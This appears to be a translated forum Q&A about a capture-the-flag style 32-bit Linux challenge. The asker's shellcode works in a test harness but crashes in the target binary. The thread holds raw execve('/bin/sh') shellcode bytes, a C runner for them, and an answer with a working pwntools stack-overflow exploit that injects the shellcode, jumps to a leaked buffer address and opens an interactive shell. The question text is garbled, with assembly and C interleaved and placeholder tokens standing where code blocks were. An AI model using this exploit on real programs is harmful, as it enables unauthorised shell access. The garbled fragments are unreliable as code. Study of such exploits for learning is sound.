我正在研究32位Linux二进制文件。我找到了这个shellcode:
http://shell-storm.org/shellcode/files/shellcode-827.php
xor %eax,%eax
push %eax
push #include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
x68732f2f
push 0xffffd0e4: push %ebx
0xffffd0e5: mov %esp,%ecx
x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov SIGSEGV, Segmentation fault
xb,%al
int q4312078qx80
第一步,我在一个简单的测试程序中运行了shellcode:
q4312078q
Shellcode在此测试程序中可以很好地工作。当我将shellcode移到实际的挑战二进制文件时,问题就开始了。我可以在GDB中确认:
代码执行被重定向到堆栈中。
shellcode程序集在堆栈中是正确的。
但是,当程序执行到达shellcode中的这两行之一时:
q4312078q
我得到:
q4312078q
我的问题是:为什么在测试程序中运行的shellcode在实际的二进制文件中失败?我该如何解决此问题?
谢谢!
#1 楼
看来您遇到了两个问题。1)您正在用那些
push
-es覆盖输入缓冲区,因此为什么堆栈上有一些垃圾,这就是我们的应用程序崩溃的原因。 在执行/ bin / sh的第二次推送之前和之后,看到这两张图片显示了您的程序集。 />
您可以清楚地看到奇数的
das
和bound
操作码,而不是push
es。2)您没有考虑到代码已重定位,因此您的缓冲区并不总是在同一个地方。从
gdb
运行时,您将具有跳转到缓冲区开头的代码(这是\xc0\xd0\xff\xff
的一部分),并且对于gdb
会话,这是正确的,因为gdb
关闭了ASLR。 您可以通过在
gdb
中发出以下命令来检查该内容:已打开。如果通过
set disable-randomization off
更改它,它也应该在gdb
中开始失败,因为缓冲区每次都位于不同的位置。在为了正确执行此操作,您需要找到缓冲区的位置。这也是为什么在第一条消息中都有提示的原因。
为了弥补这两个问题,我将为此使用pwntools并准备一个脚本:
from pwn import *
context(arch='i386', os='linux')
r = process('./shellcoding.dms')
# read the line that has the info about the address
l = r.recvline()
print l
# extract it
addr = int(l[18:], 16)
#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret
exploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*21
print "Address is: "+hex(addr)
# add an address to be taken from the stack by ret
exploit += p32(addr)
r.send(exploit+"\n")
# read the "ok... lets see if you got it..." message
r.recvline()
r.interactive() #pwn
运行此程序应该起作用!
评论
太棒了再次感谢您慷慨地提供帮助。我不知道在shellcode之后与在shellcode之前拥有NOP会产生如此大的影响。 Pwntool代码也很棒。不了解p32()功能,这非常有帮助。继续下一个!
–青铜水獭
18年6月11日在22:58
评论
可以共享二进制文件吗?二进制堆栈是可执行的吗?没有二进制文件本身,我们将无法告诉您确切的问题。
@PawełŁukasik非常感谢您的关注。这是二进制文件的链接:wetransfer.com/downloads/…
@Megabeets谢谢!刚刚在上面的链接中共享了二进制文件。
我已经使用您的shellcode将此bin打包了,没有发现任何问题。您可以发布执行代码重定向的代码吗?